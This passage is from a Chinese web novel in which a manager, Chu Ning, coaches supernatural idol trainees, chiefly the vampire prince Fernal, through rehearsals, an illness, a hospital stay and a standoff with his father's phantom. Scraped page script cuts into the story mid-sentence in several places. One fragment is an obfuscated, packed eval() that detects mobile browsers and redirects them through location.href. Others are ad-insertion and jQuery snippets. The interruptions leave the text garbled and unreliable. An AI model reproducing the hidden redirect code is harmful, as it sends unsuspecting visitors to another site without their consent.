楚凝轻声说:“别怕,我会保护你的。”她看着少年越哭越伤心,不想让他再继续难过下去,于是转移了话题,请他弹奏那支家乡的乐曲。 两个人把琴移到了旁边的阳台上。 此时的月亮已悄悄爬上树梢,将皎白的月华洒落倾泻。萱草沐浴在月辉下,弹奏起古老的乐音。优美的音符随月光流转,楚凝靠在阳台入口的门框边细细听着,一闭上眼便看见了群山巍峨,林海浩瀚,听见风声呼号,虫鸟清鸣。自然的神秘与悠远在美好的旋律里游移,生灵的神圣与野性在灵敏的演奏间跃动。 楚凝听得入神,连少年几时演奏完的曲子都不知道。她闭着双眼,做着一个短暂的梦,追忆着如水的旧事。忽而感觉有一只手抚上自己的脸颊,温柔地摩挲过自己的眼角。楚凝醒了。那是萱草的手。 “阿凝姐姐,”少年看着她的脸,忧心地问,“你怎么哭了?” 15. 想和你单独待着。 “我哭了么?”楚凝抬手抹了抹自己的眼角,感觉到轻微的湿润。她这才意识到自己流了泪,自我劝慰地笑了笑,叫少年不要担心。 “大概是因为想起了从前的一些事情,没什么,我没有事。”她夸奖了少年的琴技,又看了看时间,发现已经有点晚了,于是问少年还要不要去练习室。 萱草也看看时间,思考了一会儿,决定不去练习室了。 “其实这支主题曲的编舞我觉得还不算特别困难,但是我有一个问题,就是在唱这首歌的副歌的时候,我的气息总是不够,”少年说,“所以我想在寝室练一下副歌部分的演唱,刚刚我跟几位练习生前辈去拍彩蛋的时候,他们告诉我要想改善这个问题可以用腹式呼吸法。” 楚凝点点头:“没错,是可以用这种方法。” 萱草不好意思地说:“前辈们教了我一遍,但我可能理解得不好,到现在也还没掌握,所以我想……我想如果阿凝姐姐了解这种方法的话能不能再教教我?”他的声音里含着半分撒娇的意味,让人不忍心拒绝他的要求。 楚凝笑着说:“好啊,腹式呼吸法很简单的,”她站在萱草对面,仔细地教着他,“你像这样用鼻子吸一口气,然后用嘴巴把这口气呼出去,慢一点,不要太快,也不要太急……错了,再来一遍……” 萱草习惯了胸式呼吸,跟着楚凝做了两遍,还是没做对。楚凝索性抬起一只手臂横在他胸口前面,另一只手轻按着他的肚皮,慢慢地引导:“别用胸腔呼气,用嘴巴呼气,你的肚子要膨胀起来……嗯,这回对了,再来一遍……”楚凝反复地按着少年的肚皮,抬头的时候,发现对方的脸色有点红润,便疑惑地问:“你的脸怎么红了?练呼吸练出来的?” 萱草干咳两声,盯着楚凝横在自己胸前以及按在自己肚子上的手,默默说:“别、别按我的肚子呀……好痒……” 楚凝这才反应过来,赶紧把手松开了,“抱歉,我不知道……原来你这么敏感。” 萱草摇摇头,害羞道:“没、没关系,阿凝姐姐是为了帮我才这样的,我应该感谢你才对……我现在对腹式呼吸法的掌握感觉好多了,我演示给你看看。”他说完演练了一遍,看上去已经没什么问题。 楚凝建议他再多练一会儿,然后按这种方法把主题曲的副歌部分再唱一遍。萱草照她说的做了,整体的演唱效果比之前好了很多。楚凝夸他学东西比预料的快,他更自信了些,又认真地投入到练习中。 楚凝见自己已经解决了问题,便想着回自己的房间去,但刚要走,门口便传来几声“叮咚”。她和萱草一起去开门,在门开的那一瞬,两个人都有点惊错。 没想到门口站着的居然是那位此刻本应该在练习室练习的吸血鬼世子殿下。 “弗纳尔?”楚凝盯着对方,惊奇道,“你练习结束了吗?为什么会来找萱草?” 弗纳尔瞪了她一眼,冷不丁地说:“我不是来找臭兔子,我是来找你的。”他看着对方与萱草挨得很近,瘪瘪嘴把人拉过来。楚凝一头雾水地看着他:“你找我?找我做什么?” “骗子,”弗纳尔埋怨道,“你是大骗子。” 他闷哼一声,转身就走,不一会儿就走出了宿舍楼。 楚凝不明所以,但见他好像生了气,于是追了上去。少年脚步匆匆,可既没往自己的宿舍楼走,也没向活动大楼去,而是不知目的地在夜色里走。 楚凝追上他,拉着他的手腕问:“你要去哪里,现在这么晚了你不回宿舍等会遇到危险怎么办?” “不要你管,”弗纳尔边走边说,“我才不想跟骗子说话,你就跟那只臭兔子待在一块好了,我和萤火他们也不用你关照。” “你为什么随便说人是骗子,”楚凝不理解,“我骗你什么了?” “你、你……”弗纳尔结巴一会儿,找补说,“你刚刚说要在练习室陪我们练习的,但是你和萱草去吃饭以后就不回来了,你不是骗子是什么?而且你之前说你不去萱草的宿舍串门,结果你今天就在他宿舍,你不是骗子是什么?” 楚凝听了,这才恍然大悟原来对方在意的是这个,跟他如实地解释:“那是因为萱草在声乐的部分遇到了麻烦我才帮他的,而且之前我和他取了一个快递,是竖琴的琴架,我当然要把快递搬到他宿舍。” 弗纳尔听她这么说,好像更生气了:“你还给他买了琴架?你、你这个女人也太偏心了,你为什么总有那么多东西给萱草?你是不是很喜欢和他待在一起,我、我讨厌你了,我再也不要理你了!”他说完,甩开了楚凝的手,自顾自地往前面走。 前面是别墅区刚修好不久的湿地公园,人烟很少,楚凝怕少年有危险,追上去拦在他前面。 弗纳尔让她走开,但楚凝把手横在他前面,不许他再往前走。少年抓住她的手臂,浅粉色的眼瞳气得红红的:“走开,不然我就咬你了!” “你咬啊,”楚凝并不害怕,“堂堂伊丽莎白家族的世子殿下居然在异乡做出这么没有教养的事情,要是被公爵大人知道了会怎么样?” 弗纳尔听完,松开她的手,反辩道:“我父亲才不会教训我呢,反倒是你,你欺骗了我,如果被他知道了他肯定会好好教训你的!” “没有回练习室找你们的确是我的过失,”楚凝正色道,“但是弗纳尔,你不能一直都这么任性,也更不应该拿自己的人身安全开玩笑。前面那个湿地公园没有节目组的工作人员管理,也不是练习生可以随便过去的地方,现在这么晚了,估计萤火他们也都从练习室回去了,你也应该回宿舍休息了。走吧,我送你回去。” 弗纳尔听她说得句句在理,显得自己更胡搅蛮缠,心里有一团莫名的火焰乱窜着,却找不到发泄的出口。他憋着气,又想要哭,那团气眼瞅着要化成泪珠,却被夜里的风一吹,化成了两个大喷嚏。他在风里“啊啾”两声,吸溜吸溜鼻子,不说话了。 楚凝见他打喷嚏,抓起他一只手,发现他手心凉得要命。 “怎么这么冷?”她从包里拿出自己的手机,调成可以发热的“充电宝模式”,塞到了对方的掌心里,“拿着烤烤。” 掌心传来阵阵温热,弗纳尔不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748807|145404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所措地捏着手机,那些任性的话又被堵住,忽然说不出口了。他心里的气也很不争气地散一大半。 楚凝见他愣着,趁机道:“这下世子殿下该不会再说我没关心你了吧。” 弗纳尔心弦起落半天,捏紧手机,小声说:“你……你好卑鄙。” 楚凝柔和道:“不要生气了,快回宿舍吧。”她说完,知道对方已不会再往前去,于是先往宿舍楼的方向走。 弗纳尔捏着她的手机,还也不是,不还也不是,默默地跟了上去。两个人一路上没说话,楚凝知道少年还在别扭,但他一向不爱听大道理,因此也不多嘴,心里想着只要他平安地回了宿舍就好。但在经过她自己宿舍的时候,弗纳尔却喊住了她。 “我想喝饮料,”少年小声问,“你宿舍还有吗?” 楚凝愣了愣,点头说:“有。” 少年又问:“那我想要很多很多,你也有吗?” “你跟我来。”楚凝拉着他进了宿舍楼,又进了自己宿舍。她的宿舍只有她一个人住,又没被改造过,所以很显宽敞。楚凝把少年带到储藏间前,打开了房门。里面堆满了对方爱喝的饮料。 “你想喝多少自己拿,”楚凝挑眉说,“只要你搬得动。” 弗纳尔看着眼前的一箱一箱堆砌起来的饮料山,惊诧了半晌,回头向她确认:“这些真的全都是给我准备的?” “当然,”楚凝戏笑道,“你们四个人里面,不是只有你喝乌鸡血嘛?” 弗纳尔唇角的笑意深了,走到她身边扯扯她的袖子:“那你可以帮我搬吗?” 楚凝哭笑不得地问:“所以你到底是想要多少啊还请帮手。” 弗纳尔却说:“我搬一箱,你搬一箱,我们一起走,你答不答应?”他的眼睛亮亮的,看得出来心情很好。 “好啊。”楚凝不免被他的好心情感染,抱了一箱饮料给他,又抬了一箱饮料抱自己手里,箱子并不是很重,两个人抱着出去了。但没走几步,就听见旁边有开门的声响。楚凝回头,发现萱草开着门,颦着眉头看她。 “阿凝姐姐这么晚了还要出去吗?”少年攀着门框,怯怯地问。 楚凝解释说要帮弗纳尔送饮料,弗纳尔在一旁翘着唇角,幼稚地补充:“她给我准备了好多好多呢。” 萱草抿抿唇,面上闪过一点无所适从的落寞。片刻后,他小声地问楚凝:“那我可以跟你们一起去吗?我也可以帮弗纳尔搬箱子。” 弗纳尔听他这么说,头摇得跟拨浪鼓一样,“不用不用,你还是好好在宿舍休息吧。” 楚凝并没察觉到两个少年之间暗暗的别扭,单纯地赞同着弗纳尔的想法,“不用啦,这个箱子不重的,萱草你今天不管是表演个人技还是跟着节目组补拍摄也很累了,还是早点休息的好,这样明天也才能更有精神地面对集训。” 萱草听了,神色显出一分别样的委屈,“我……我知道了。”他耷着耳朵盯了楚凝一会儿,最后默默地说:“那、那阿凝姐姐早点回来喔,啊对了,等等——”他似乎想到什么,转身进了宿舍。 16. 二次评级的排练 不一会儿,少年从宿舍里拿出两把雨伞,先把一把递给楚凝。 “阿凝姐姐,我看天气预报说一会儿可能要下雨,你把伞带着吧,”他边说边把伞挂在了楚凝的手腕上,“万一一会儿淋雨了可怎么办……” 楚凝看着他,心头涌起一股暖意:“谢谢你,萱草。” 萱草摇摇头,又准备把另一把伞拿给弗纳尔。弗纳尔却说不要。萱草知道他的小心思,抿着唇把伞挂在了他的手腕上,默默说:“你可别什么都麻烦阿凝姐姐……” 弗纳尔眉头一皱,低声道:“臭兔子。”他还要再说什么,却被楚凝喊住了。对方催他快些出发。少年应了一声,搬着箱子快步跟了上去,和她并肩走着。 楚凝见时间真的很晚了,加快了脚步,弗纳尔却让她走慢一些,两个人缓走快走地,总算到了目的地。楚凝在弗纳尔宿舍楼前把手里的饮料转交给他,叮嘱他不要忘记吃药,还有要早一点睡觉。 “知、知道啦。”弗纳尔不好意思地答应下来,又问楚凝明天几点起床。 “你问这个干什么?”楚凝说,“我又不跟你们去练习室做拍摄。” “我知道,”弗纳尔说,“但是我想早点起床,在拍摄时间开始前先去练习室练习一会儿,你……你有没有空帮我看一下练习的情况?” 楚凝听他这么说,不免有些惊奇,心想吸血鬼殿下这么懒个人现在居然有了这么强烈的奋进心,实在叫人不敢相信。可她见他又不像在开玩笑,于是调侃着说:“这么有上进心啊?我没问题啊,我本来每天起得就很早。” 弗纳尔一听,当即和她约定:“那我们说好了,我们……我们就六点钟在练习室碰头,你一定要来喔!就算……就算来不了也先给我说一声。” 楚凝点头说:“没问题,那你也得遵守约定,我们说的是早上六点可不是晚上六点,你做不到的话别在这里说大话喔。” “我一定做到!”弗纳尔坚定道。 楚凝笑了笑,跟他这么约定下来,催他快些回寝室。她看着对方迈步朝宿舍楼走,没走一会儿回过头来看她,心里忽而涨上一点说不清道不明的愉悦。她恍惚地觉察到自己对少年的包容似乎有些过头,但并不以此为烦恼。想对他好,便对他好了——这是她内心极为真切的想法。 接下来的三天,楚凝没想到弗纳尔竟然真的每天都按时到练习室,没有迟到过一回,甚至还提前给她买好早饭。 少年的每次练习也都很认真,俨然一副不升到A级决不罢休的态势。楚凝见他对训练这么上心,心里也很欣慰,对他训练上的指导也更加仔细,而奇怪的是少年不仅不厌烦她的指点,有时反而会主动地跟她探讨在主题曲表演方面的细节,这不免让楚凝体会到一种“士别三日当刮目相待”的感觉。 这三天弗纳尔不仅早早出门,回宿舍的时间也比大部分练习生都晚。在他拼命的努力下,基本功已经有了很大的进步,对主题曲的演绎也比头一次在练习室展现出来的样子好了很多。 在主题曲正式测评的前一天晚上,楚凝把四名成员召集到一起,准备再检查一遍他们的练习效果。 萤火在rap和vocal上的不足已经改善了不少,配合早已熟络的舞步,呈现出了完美的演绎。萱草的表现相比起萤火来比较中规中矩,但因为长得太漂亮,一举一动也都让人赏心悦目。 加尼亚的表现也可圈可点,只是他整个人的风格比较硬朗,颀长的身材、健硕的体格折射出青年独有的英气和冷峻,相比于少年们春风般的气质,他将主题曲跳出了一分别样的凛冽,像一场从西伯利亚吹来的烈风。 “加尼亚你跳舞的时候给我一种……纪律非常严明的感觉,”楚凝哭笑不得地说,“不过配上你高大的形象还是意外地有魅力。” 狼人听了,英冷的脸上露出一个开朗的笑来:“多谢长官夸奖,我会继续努力的!” 楚凝笑了笑,让他继续加油。在看完前三个表演以后,她最后将目光转到了弗纳尔身上。 其他的成员知道他最近几天执着于“弯道超车”,于是也都很期待他的表现。 弗纳尔深吸一口气,似乎拿出莫大的决心和勇气,然后在众人异常集中的视线下开始了主题曲的演绎。四分钟过得很快,但对专注投入在演唱中的少年来说却是珍贵的一帧帧,一幕幕,是他突破自我的见证。弗纳尔做完最后一个定格,气喘吁吁地问大家的意见,脸上别有些紧张。 练习室经历了片刻的寂静,而后爆发出此起彼伏的感慨。 “真没想到啊,”萤火缓缓地称赞,“世子殿下还真是做偶像的料喔。” “弗纳尔……还、还不错啦……”萱草虽然心有别扭,但仍旧支吾着说出实话。 而加尼亚则是默默地竖起了大拇指。 得到夸奖的弗纳尔不紧张了,神情回归到寻常的骄傲。 他走到楚凝面前,嘚瑟地说:“你看,他们都说我有大进步。”他头上那两根金色的呆毛很精神地翘起来。 楚凝笑了笑:“确实有进步,对得起你这三天起早贪黑的训练。不过为了防止你昏头,我必须得实话实说,你目前的水平想要达到最高的A等级还是差了不少。”她见少年的神色并不愠怒,就明白他虽然爱说点场面话,但心里对自己的实力还是有比较清晰的认知的,这让她稍微安心下来。 “以你目前的表现来看,只要明天正常发挥,从D级到C级肯定是没有问题的。” 弗纳尔一听,面上有点失落:“啊,只能到C呀,”他难为情地嘀咕,“我还以为可以到B的呢……”他头上的呆毛默默垂了下来。 楚凝扬扬唇角:“你当参赛的这些选手们是草包么?这三天大家都不练习让你一个人可劲儿练噢?” 弗纳尔想了想,觉得她说得对,这几天除了自己认真训练之外,其他的练习生 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们也都不示弱,大家齐头并进,自己的进步在导师面前的含金量就降低了。 “没关系,”他又说,“就算是C我也很开心,队服的颜色也比D好看。” 楚凝对他此刻的心态感到惊喜,点头说:“慢慢来吧,人不怕前路漫长,只怕停滞不前。”她说完以后,回想对方刚才练习的场景,抓住一个可以精进的细节和他探讨。 “你在唱副歌的时候,就是‘辉光永不黯淡,天星永不落幕’的那一句,我不建议加wink,感觉会有点太刻意。” 弗纳尔说:“但同寝室的前辈说这样会给制作人们留下记忆点的。” 楚凝说:“那也要分情况的。wink会使得你的定格画面显得灵动,或者会使你的整体风格俏皮一点,但是这句副歌比起俏皮的演绎,更需要坚定的表达,我觉得一个坚毅的眼神会比眨眼更打动制作人。” 她说完以后,见弗纳尔认真思考着,又补充道:“很多时候,比起用wink向制作人们传达‘我在讨好你,你来喜欢我吧’这样的讯息,他们可能更容易被‘我一定会做好,你一定会爱上我’这样的觉悟所打动。” 弗纳尔听完,走到镜子面前,再一次轻声吟唱了副歌的部分,这次没有刻意地眨眼。他看着镜中的自己,想了很久,然后告诉楚凝:“你说得对,我不会再在这段用wink了。”他走到对方面前,感激道:“谢谢。” 楚凝摇摇头,打趣着说:“你能采纳我的建议,对我来说是件难得的事。” 弗纳尔嗔她一眼,忽然害羞起来,支吾道:“你真讨厌。” 楚凝又笑了笑,然后将注意力转到其他人身上,给大家做着最后的动员。 这一晚过得很快,练习生们怀着对第二日等级再测评的紧张与期待早早迎来了节目的拍摄。 这一天导师们很早就来到演播大厅,等待着练习生们逐个的演绎。楚凝和其他练习生的经纪人们也同样集结在待机室,时刻观察着自家练习生的表现。 楚凝原先是最担心弗纳尔的,但在看了少年昨天的表现后,这回反倒对他最有信心。萤火是四个人里被测评的最早的,他因为利用这几天对自身短板的深刻重视和不懈攻坚,终于在导师严厉的评判标准中逆流而上取得A级,实现了他自己对自己在心中的承诺,而他的人气也在节目组公开放出舞蹈花絮之后有了很快的上涨趋势。 萱草和加尼亚虽然也得到了导师的夸赞,但整体的等级并没有变化,只是两个人凭借着长相优势和前期人气的积累,已经在实时更新的人气榜单上较为稳定地维持在出道圈内的位置,尽管这只是暂时的数据,但也足以振奋楚凝和两个成员。 弗纳尔是四个人里头最晚上场的,楚凝期待着他的表现,也相信少年一定可以惊艳全场。 却没想到计划不如变化快—— 世子殿下居然在今天凌晨感冒了。 得的还是重感冒。 17. 掉小珍珠的殿下 弗纳尔站上舞台,全然没有了平日里神气活现的样子,浑身透露着难以遮掩的萎靡。 尽管很努力地振作着自身把整个主题曲坚持着表演完,但比起之前的排练效果,被病魔诅咒的他表现出的状态显然很难得到导师们的青睐。 楚凝在待机室看到他的表现,一面心疼,一面又担心他的评级结果。 她的担心并不是多余的,导师最后给弗纳尔的评级结果不升反降,少年最终被定到了F级。 被定到F级的练习生是无法站上节目组特定的舞台进行表演的,只能在舞台下方做陪练,不会有出镜的镜头。楚凝倒吸一口凉气,看见世子殿下一言不发地下了台,心里顿觉糟糕。 当天的节目拍摄结束后弗纳尔就在宿舍发了高烧,羽因通知了楚凝。 楚凝开车把弗纳尔送去了可以给人外看病的医院。 “吸血鬼?”诊室的老医生看着有气无力的少年,摆摆手对楚凝说,“不用担心,这孩子有永生基因,死不了死不了。”他说吸血鬼的自愈能力很强,这点小病过一会儿就会好。 “但是他来蓝星前被封印过了,”楚凝说,“所以对病痛是和人类一样敏感的,而且生病的情况和治愈周期也和人类一致。”此时的弗纳尔烧得不轻,坐在门诊室的凳子上,头垂得低低的,手紧紧地抓着她的手,一句话也说不出来。 老医生听完,点了点头,有些同情地摸了摸少年的脑袋,温柔道:“那这样的话我给他开些速效药吧,每种药都要严格按照说明书上的剂量服用,还有一定不能喝酒,否则会跟这些药的药性产生排斥反应,病情会加重的。” “好的,我记住了,谢谢医生。”楚凝接过药单,掺着弗纳尔出了门诊室,让他坐在走廊的椅子上等她取药回来。但少年对她很依赖,一定要寸步不离地跟着她,她没办法,只好掺着他一起走,从缴费窗口到取药窗口,再到出医院,世子殿下像是要跟楚凝长在一块似的,丝毫不给她分开的空间。 楚凝知道他此时心情的复杂和难受,并不阻止他的偎依,只是哭笑不得地问:“我们是连体婴吗?”她说他黏糊糊的。 弗纳尔原本是没力气说话的,但听她这么调侃自己,抬眼瞪了她一下,撑着力气软绵绵地反驳:“本殿下才、才不黏人呢……”话虽这么说,但他也没有要和楚凝分开的意思。他说完这话,深呼吸了好几下才平复心气,看样子被感冒和发烧折磨得不轻。 楚凝笑着说:“好好好,你说的对。”两个人走到停车场,楚凝主动给弗纳尔开车门,又给他小心系好安全带,又把后备箱里的午睡毯拿出来给他盖上,刻意给他大少爷的待遇,想让他沮丧的心情好起来。 “怎么样,”她坐到驾驶位,一边调节着副驾驶的座位高度一边问身边被裹得瓷实的少年,“有经纪人这么贴心的服务,世子殿下的心情有没有美丽一点?” 弗纳尔本来把头撇向窗边,正看着外头皎洁的月亮,听她这么说,把头转回来,弱弱嗫嚅了一句:“一点也没有……”他想起自己在舞台上的表现和最后的评级,嘴巴一瘪,眼眶一下子湿润起来。 楚凝见他哭了,想到他这几天的努力最后被一场感冒打败,也替他心痛。她抽出一张纸巾递给少年,见对方把手缩在毯子里不拿出来,于是替他揩眼泪。 “别哭啦,”她一面揩,一面安慰道,“这只是一次意外,没有人能支配意外。下次再努力吧。”她的声音也变得和窗外的月色一样温柔了。 弗纳尔听到她的安慰,眼眶里的小珍珠掉得更多了,憋在心底的委屈也扑簌簌掉出来:“今天……好丢脸,明明之前都那么努力了,结果最后却变成这个样子,下台的时候那只臭老虎还笑我,他说因为我的名字是‘Flower’,所以我就应该到F班里面去……” “那只老虎嘴巴还挺欠的啊……”楚凝不知道该怎么再接少年的话,心里想着不能再让他继续这么难过下去,因此想了老半天,默默说,“没关系,照这种说法,那只老虎才应该到F班去。” 弗纳尔收收眼泪,那双水汪汪的眼睛盯着她,“为什么?” 楚凝:“因为在蓝星的某些地区,‘老虎’是被读作‘老斧’的。” 弗纳尔:“……” 少年哭得更厉害了。 楚凝:“……对不起,我可能没有什么幽默细胞。” 她想起刚刚新鲜出炉的烂梗,硬着头皮发动汽车,往训练基地赶路。 弗纳尔呜呜地哭着,一边拿手背擦眼泪,一边不满地控诉:“我讨厌蓝星,讨厌封印,讨厌比赛……在这里没有城堡可以住,也没有仆人照顾我起居,不仅要听好多人的话,每天做好多事情,还一不注意就会生病,生病了还要吃很难吃的药丸……” 楚凝一边听着他诉苦,一边默默地吐槽:“说到照顾的话,我感觉我都快算你半个仆人了……” 弗纳尔又哭着说:“我讨厌你……” 楚凝哭笑不得:“怎么又讨厌我了?” 弗纳尔顿了顿,似乎在想着什么,过一会儿说:“我讨厌你不是我的。” “啊?你说什么?”少年说这话时,车子正驶进隧道,楚凝没听清他的话。 弗纳尔神色一赧,大声回:“我说、说我讨厌你不是我的仆人!” 楚凝这回听清了,笑着说:“你这也讨厌那也讨厌,一天讨厌来讨厌去,动不动就发脾气,小心以后回银星没人爱喔。” 弗纳尔炸毛道:“不要你管!”此时他止住了眼泪,脸气鼓鼓的,不再跟楚凝说话。楚凝也不打扰他休息了,把车内的暖气开高一度,又播放起舒缓的音乐。 弗纳尔被练习和感冒折腾这许久,又在车上哭了老半天,此刻也早就累了,不一会儿便进入了梦乡。他满脸的泪痕,嘴唇一开一合地嗫嚅着,仿佛在说话,又似乎只是无意识地嘟哝。等红绿灯的时候,楚凝凑近了听他说话,听了好久才听清少年在说什么。 他在喊她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的名字。 “阿……阿凝……姐姐……”少年的声音嗡嗡的,带着从鼻腔里蕴出的气音,“阿凝……嗯……阿凝姐姐……” 楚凝心头一颤,觉得他越发地可爱了。 汽车行驶到训练基地的地下停车库,楚凝给羽因发信息,让他到停车库上面的电梯口来接一下弗纳尔。 小天使说自己过来要一会儿时间,请她先等等。车库的空气很闷,楚凝停好车以后,将睡着的弗纳尔打横抱起来,准备把他送到上面的公园,等羽因接应好他以后再离开。 空旷的车库寂静无人,楚凝刚走几步,却忽感一阵异常,不过一刹,空气中传荡起一阵低而尖锐的鸣啸,她脚下突然蹿出血红色的光焰,顷刻竟如磁暴般蔓延到整个停车场。 “结界?!”楚凝心头一惊,还没反应过来,一个低沉而威严的声音便传进耳中: “卑劣的人族,放开吾儿。” 随着这道声音的震慑,一个黑色的身影也渐渐出现在她的眼前。 这是一只长相俊美穿着华丽的吸血鬼贵族,由于永生的原因,他不像是已为人父的模样,看起来尚且年轻,可那份与生俱来的优越感和依凭着强大魔力所散发出的压迫感却令人胆寒。很显然,他是世子殿下的父亲,伊丽莎白家目前的掌权者。 楚凝冷笑一声:“公爵大人,别来无恙……在蓝星上第一次见面就用这种方式打招呼,是不是不太礼貌?” 公爵眉头微蹙,嫌恶道:“低劣的人族,我不记得我们在银星上有过什么交集,你把吾儿放下。” 楚凝看了一眼睡得正香的少年,反把他抱得更紧一些。她看着面显怒色的公爵,戏谑道:“我现在松手他不就摔地上了吗?那得多疼,我不做这么缺德的事情。” “你找死。”公爵冷喝一声,掌心凝聚起一点魔光,似乎要收拾楚凝,可过了片刻又散掉魔能。他拿警示的眼神瞪着楚凝,愠怒道:“你们这群人族居然敢在一个小小的比赛里给吾的弗纳尔打F级,这非常不公平,吾现在很愤怒。” “如果明天你们不把他的名次改成A级,我会让整个蓝星A国付出代价。” 楚凝并不害怕,也在他说这话之前就猜到了他的意图,于是默默地说:“公爵大人原来这么喜欢包庇自己的孩子,难怪弗纳尔会这么任性。虽然我作为经纪人也对弗纳尔这次的评级结果感到遗憾,但这个节目的评级标准是很公平的,弗纳尔也并没有对比赛的公平性提出质疑,我想您与其逼迫节目组强改等级,不如多给您的孩子一点耐心,期盼他尽快地成长起来。” 公爵听了,并没有被她的话打动。他冷哼一声,说:“但你们让吾的弗纳尔很难过。他是吾最爱的孩子,从小到大,伊丽莎白家的人不会让他流泪。” “那很可惜,”楚凝说,“以后在这个比赛里,您的孩子可能还会流更多的眼泪。流泪让他长大。”她说完以后,想起少年以前对她说过的一句话,好奇地问了公爵一个问题。 18. 怕打针的殿下 “公爵大人,弗纳尔曾经说您教导过他‘失败是成功之母’的道理,我想您应该是一个很明智的人,可我很好奇为什么现在您却和他说得不一样?”楚凝刻意地调侃对方。 公爵却说:“吾是和他说过这个道理,但吾允许他失败的前提是这种失败不会让他过分悲伤,换句话说,如果他不开心,那么这种失败就没必要存在。” 楚凝啧啧两声:“那您还真是溺爱您的孩子。” 公爵又说:“吾没有时间跟你闲聊,既然你也是人族,看样子和节目里的那群制定比赛规则的人类也认识,那么你替我向他们传话让他们修改吾儿的等级,吾今日可免你一死,也可饶恕这里的人族。” 楚凝闻言,冷然一笑:“公爵大人说话的口气真是很不善啊。不过——您真的有伤我的资本吗?”她直视着对方,接着说:“银星的非人族要到蓝星来必须接受封印,暂时卸掉能对蓝星公民造成威胁的魔力才能穿过星际之门,而您现在能这么气势汹汹地出现在我的面前只有两种可能。” “要么您是撕裂时空非法穿越,那这样您到这里来魔力就所剩无几了;要么第二种可能就是——” 她说到这里,朝前迈几大步,竟直接从公爵的身体里穿了出去。原来眼前的公爵是一团雾影。 “第二种可能就是这根本就不是您的真身,只不过是您的幻影。” 公爵冷哼一声:“不是真身又怎么样,就换只是我的一点魔力化成的幻影,杀你也绰绰有余。” 楚凝无奈地耸耸肩:“可是您最心爱的孩子还在我怀里睡觉诶,您忍心打搅他的好梦吗?” 她这话一出,面前的幻影怔了怔,片刻后愤怒道:“你真卑鄙。” 楚凝扬唇轻笑:“因为您刚刚说过了我是‘卑劣的人族’,所以我得证明一下您的话是对的。” 公爵忿忿道:“无耻之徒。” 楚凝见他光生气却不能动手,脸上显出半点轻佻,片刻后又说:“而且您的确也没有杀我的权利,因为我们曾经可是盟友。” 公爵见她默念一句咒语,空中缓缓现出一枚血红的印章,印着伊丽莎白氏的家族图腾。他面色一变,惊诧道:“结盟誓约?你怎么会有这枚印章?!难道……难道说你是……” “对,你猜得没错,”楚凝说,“所以公爵大人可以放我一马了么,毕竟伊丽莎白家的家训里没有‘恩将仇报’这一条吧。” 公爵冷着脸沉默了一会儿,抬手解除了结界。 “照顾好吾儿,”他的声音依旧威沉,但已没有了敌意,“拜托你。” 说完这句话,黑影便消失了。车库重新回复了正常的模样。 楚凝看着重回平静的四周,轻呼出一口气来。她低头看了看怀里的人,想起刚才幻影消失前说的话,无奈地说:“世子殿下,你还真是麻烦啊……” 怀里的弗纳尔还在睡着,不知道是不是做了噩梦,手紧紧地揪住她的衣襟,口中又嘟哝起什么来。 楚凝凑近了去听,发现对方依然在喊她的名字。 楚凝听了一会儿,叹了口气,默默道:“算了,也不讨厌就是了。”她抱着他继续往电梯口走了。 羽因把弗纳尔接回了宿舍,楚凝原以为今天的事情就这样告一段落,谁知刚回到自己宿舍楼便接到了小天使发来的消息。 对方说弗纳尔在宿舍没醒一会儿又晕倒了。 “怎么会这样?”楚凝调头往对方宿舍赶。 “我也不太清楚,”电话那头的羽因着急说,“我把弗纳尔送回来以后,为了让他心情好一些就请他喝了我给他买的奶茶,但是他才喝一口,没多久就、就晕过去了。” “你给他喝了什么奶茶?”楚凝忽然有种不详的预感。 “就是……桂花酒酿奶茶……” 楚凝心里一惊,告诉对方弗纳尔现在不能碰酒精,同时拜托他将人送到宿舍楼下。于是没过多久,她和弗纳尔就又出现在刚才的那家医院,见到了刚才那位正要换班但因为他们没走得成的老医生。 双方面面相觑,空气中弥漫着丝丝诡异的静谧。 “你们两个大晚上的一天往医院跑过来跑过去的闹着玩吗,”老医生瞄了一眼弗纳尔的情况,此时的少年虽然已经醒来,但整个人状态极差,脸像被蒸熟了似的,红得仿佛在冒热气。 医生瞪着楚凝,直截地问,“你给他喝酒了?” “他不小心嘬了口带酒精的奶茶,”楚凝解释道,“当时我没在他身边。也怪我没做好提醒的工作,医生,他现在身体怎么样?”她想起明天练习生们要到体育馆进行主题曲的表演彩排和正式演绎,不免担心少年这种情况不能按时地参加。 老医生听了她的解释却不相信,一面戴听诊器一面说:“什么不小心喝奶茶,我看是他想喝你特意给他买的,你们这种小情侣我可见多了,一天天不听医生话,瞎胡闹……” 楚凝一愣,想反驳什么竟不知道从哪里反驳起,只开口说:“医生,我们不是……” “他得打点滴了,”医生一边摘听诊器,一边打断她的话,“去办住院手续吧,一会儿护士会来你们病房挂吊瓶的。” 楚凝不废话,立马带弗纳尔去办住院手续了。 少年的情况不算危急,但因为体内的酒精和之前吃的感冒药产生了排斥反应,加重了感冒和发烧的状况,所以需要留在医院做随时的观察。楚凝想到自己是他的经纪人,也是他在蓝星唯一熟悉的人类,于是决定留在医院陪护他。 弗纳尔之前才降下去的烧这时发得厉害,躺在床上浑身一直哆嗦,楚凝给他盖好被子,坐在床边轻声地安慰。 过了一会儿,护士推着打点滴的设备过来,楚凝刚想起身腾出位置,却被少年抓着手不放。 “你……你别走,”弗纳尔的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声音细若蚊呐,“我不要你走……这个连着管子的瓶子是什么东西……那个针看起来好可怕……”少年不安地看着面前的人类医学设备,埋怨着在这里用不了有治愈功效的血族魔法,身体显出不自觉的逃避。 